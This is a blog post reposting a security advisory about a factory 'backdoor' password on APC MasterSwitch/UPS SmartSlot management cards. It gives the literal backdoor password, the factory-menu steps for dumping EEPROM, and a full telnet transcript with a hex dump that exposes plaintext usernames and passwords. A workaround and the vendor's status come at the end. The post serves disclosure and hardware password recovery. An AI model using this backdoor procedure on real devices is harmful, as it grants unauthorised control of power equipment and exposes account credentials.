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Hacking APC Masterswitch Admin Password

July 3rd, 2009

Ever bought one of those APC Masterswitch PDU’s from eBay, then tried to login to the admin interface with the usual default “apc” / “apc” but found that the password had been changed?


The usual password recovery procedures (well documented) are quite tedious, requiring emails and serial numbers. What a pain!

  • If you use one in your home lab this vulnerability will help you if you happen to buy one from eBay with the password set.
  • If you use them on a production network – this could become an attack vector,  so replace them or upgrade!

Here’s how to hack the password:
*** Background:
APC (American Power Conversion) SmartSwitch and UPS (uninterruptible power
supply) products have a Web and SNMP management card installed that permits
local serial console, TELNET, web and SNMP management, monitoring and
mains power control of attached devices.

*** The Problem:
APC SmartSlot Web/SNMP management cards have a “backdoor” password that can
be abused to extract plain text username/password details for all accounts
and hence gain unauthorised full control of the device.

Tested vulnerable:
SmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6
MasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0

*** Description:
The “backdoor” password is designed for use by the factory for initial
configuration of the card, e.g. MAC Address, Serial Number etc. However, it
is possible to dump the contents of EEPROM which amongst other things
stores the account usernames and passwords.

The “backdoor” password is accepted via either the local serial port or
TELNET. Use of the password on the web interface does not appear to be

*** To recreate (typical example):
Connect a console to the serial port or TELNET to the card. At the username
prompt use any username. The password is all alphabetic characters and is
case sensitive: TENmanUFactOryPOWER

At the selection prompt, type 13 and press return. Type the byte address of
the EEPROM location to view, e.g. 1d0 and press return. Look carefully for
the username and password pairs. Different firmware revisions may have the
account details at different EEPROM locations. The accounts in the example
below are the default accounts after their passwords have been changed.
Username: apc Password: BBCCDDEEF
Username: device Password: AAAABBBBB

Press return to get back to the Factory Menu and press ctrl-A to logout.
You can now TELNET to the card again and use the account details you’ve
just recovered to log into and control the device.

You should use the other selections with extreme care. You may cause
irrepairable damage and will most certainly invalidate any warranty.
The EEPROM also contains other user-configurable options in either plain
text or binary encoded form. They are not detailed in this advisory.


[root@always root]# telnet
Connected to
Escape character is ‘^]’.

User Name : foo
Password : TENmanUFactOryPOWER

Factory Menu
to exit

500 C0 B7 A2 C8 2D

Selection> 13

Enter byte address in Hex(XXXX): 1d0

01D0 FF 50 46 61 70 63 00 FF .PFapc..
01D8 FF FF FF FF FF FF 42 42 ……BB
01E0 43 43 44 44 45 45 46 00 CCDDEEF.
01E8 FF 64 65 76 69 63 65 00 .device.
01F0 FF FF FF FF 41 41 41 41 ….AAAA
01F8 42 42 42 42 42 00 FF 61 BBBBB..a
0200 64 6D 69 6E 20 75 73 65 dmin use
0208 72 20 70 68 72 61 73 65 r phrase
0210 00 FF FF FF FF FF FF FF ……..
0218 FF FF FF FF FF FF FF FF ……..
0220 64 65 76 69 63 65 20 75 device u
0228 73 65 72 20 70 68 72 61 ser phra
0230 73 65 00 FF FF FF FF FF se……
0238 FF FF FF FF FF FF FF FF ……..
0240 FF 00 00 FF FF FF FF 21 …….!
0248 56 00 00 00 00 00 00 55 V……U


***  UPDATE: “padre-d” has created a password generator to recover passwords by leveraging this vulnerability:

*** Workaround/fix:
Ensure that access to the local serial port is physically restricted and
disable the TELNET interface as described in the device documentation. A
patched version of the firmware which requires the management password
to be entered before accessing the factory settings may be available
from APC.

*** Vendor status:
APC were first notified six months ago on 12th August 2003 and were
initially helpful in patching the problem. However, after testing a couple
of beta fixes I’ve heard nothing for over 3 months.

Dave Tarbatt,

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